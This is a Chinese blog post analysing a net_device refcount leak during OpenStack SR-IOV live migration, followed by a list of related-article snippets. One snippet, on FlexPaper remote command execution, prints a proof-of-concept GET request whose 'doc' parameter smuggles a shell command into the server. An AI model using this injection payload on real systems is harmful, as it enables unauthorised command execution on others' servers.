Openstack: live-migration SRIOV的一个问题(1)

server/2024/10/18 1:38:30/

​去年分析的一个问题:Openstack: migration 虚拟机热迁移 失败的注意点。里面有很多未知答案的问题。最近再总结一下,可能会有几篇,算是一个系列。

在这两天又遇到,继续看了一下。找到了之前一直没有搞明白的一个问题:refcount到底是被谁占,用没有释放?这里说一下大概。详细的热迁移步骤,请参阅下面两个说明和文档:

https://specs.openstack.org/openstack/nova-specs/specs/train/implemented/libvirt-neutron-sriov-livemigration.html
https://docs.openstack.org/nova/latest//reference/live-migration.html

是在Openstack的新版本里加进来,对有SRIOV设备的虚拟机进行热迁移功能。测试的时候又碰到了这个错误:
Linux: unregister_netdevice: waiting for eth0 to become free. Usage count = 1

这次是没跑了,也算是有机会继续看,继续学习。一开始以为是内核的问题,后来在网上查了很多资料:在Linux内核早期比较老的版本,确实是有几个这种泄漏ref的bug。但是在新版本都已经解决了。中间又看到几个例子是说,私有的内核模块也可能引入这个问题。

经过认真分析,明确了,自己产品里的一个内核模块是会将net_device的refcount的值hold一下,因为要用net_device的指针。调用的接口是:dev_get_by_name。这个函数就非常的具有滑稽性,如果调用,而且可以找到相应的设备,就会dev_hold设备;如果调用者不想hold,要单独执行dev_put,这就形成字面意义的不对称,dev_get_by_name和dev_put,明眼看就不是一对。所以要有意识,在调用了dev_get_by_name之后,要仔细考虑是否真的需要hold dev,如果不需要,要记得dev_put一下。当然本文要说的问题不是出在这里。

问题是在live-migration的过程中nova的调用链里,会将原有instance的设备detach掉,在detach的时候,没有设置udev规则来删除这个内核模块,导致这个内核模块对net_device一直有占用refcount,从而产生这个错误日志。

这里的一个问题,在做detach的时候,内核具体会做哪些操作?


http://www.ppmy.cn/server/28196.html

相关文章

iTOP-3588开发板Buildroot系统功能测试-USB鼠标键盘测试

将USB鼠标和键盘接入iTOP-3588开发板的usb接口,串口终端的打印信息如下图所示: 此时在屏幕上出现箭头光标,鼠标和键盘已可正常使用。 当拔掉usb鼠标和键盘时,串口终端打印如下: 此时屏幕上箭头光标消失,鼠…

面试:Spring(IOC、AOP、事务失效、循环引用、SpringMVC、SpringBoot的自动配置原理、Spring框架常见注解)

目录 一、Spring的单例Bean是否是线程安全的? 二、什么是AOP 1、介绍 (1)记录操作日志 (2)实现Spring中的事务 三、spring中事务失效的场景有哪些? 1、异常捕获处理 2、抛出检查异常 3、非public方…

通过自然语言处理执行特定任务的AI Agents;大模型控制NPC执行一系列的动作;个人化的电子邮件助手Panza

✨ 1: OpenAgents 通过自然语言处理执行特定任务的AI代理 OpenAgents是一个开放平台,旨在使语言代理(即通过自然语言处理执行特定任务的AI代理)的使用和托管变得更加便捷和实用。它特别适合于日常生活中对数据分析、工具插件获取和网络浏览…

flexpaper 远程命令执行

flexpaper 远程命令执行 这个是有POC的,先简单复现一下 GET /ipg/static/appr/lib/flexpaper/php/view.php?doc1.docx"%26echoshell>shel233l.txt%23&pageexp&formatswf&callbackcallback&isSplittrue HTTP/1.1 Host: 192.168.50.22 Use…

Vue在/public目录下访问process.env.NODE_ENV(其它通用)

总所周知,/public目录下的js文件是不会经过webpack处理的. 所以process.env.NODE_ENV 也无效.无法判断,当要根据这个去判断的时候就麻烦了. 但有个办法可以解决这个问题. 先安装 npm install --save-dev cross-env 就是在index.html里面去赋值到window变量中,如下 在 /pu…

Mac 版 安装NVM

优质博文IT-BLOG-CN NVM(Node Version Manager)是一个用于管理多个Node.js版本的工具。它允许开发者在同一台机器上安装和切换不同版本的Node.js,以便在不同的项目中使用不同的Node.js版本。macOS用户可以使用homebrew来安装NVM。 一、安装h…

使用c++类模板和迭代器进行List模拟实现

List 一、创建节点结构二、创建迭代器类1、类的结构2、一系列的运算符重载 三、创建list1、细节把握2、迭代器函数3、构造函数和析构函数4、增删查改的成员函数 一、创建节点结构 template <class T>//节点结构 struct ListNode {ListNode<T>* _next;ListNode<…

HTML_CSS学习:CSSLearning

一、优先级 相关代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>优先级</title> <!-- <style>--> <!-- h1{--> <!-- color: #1f33…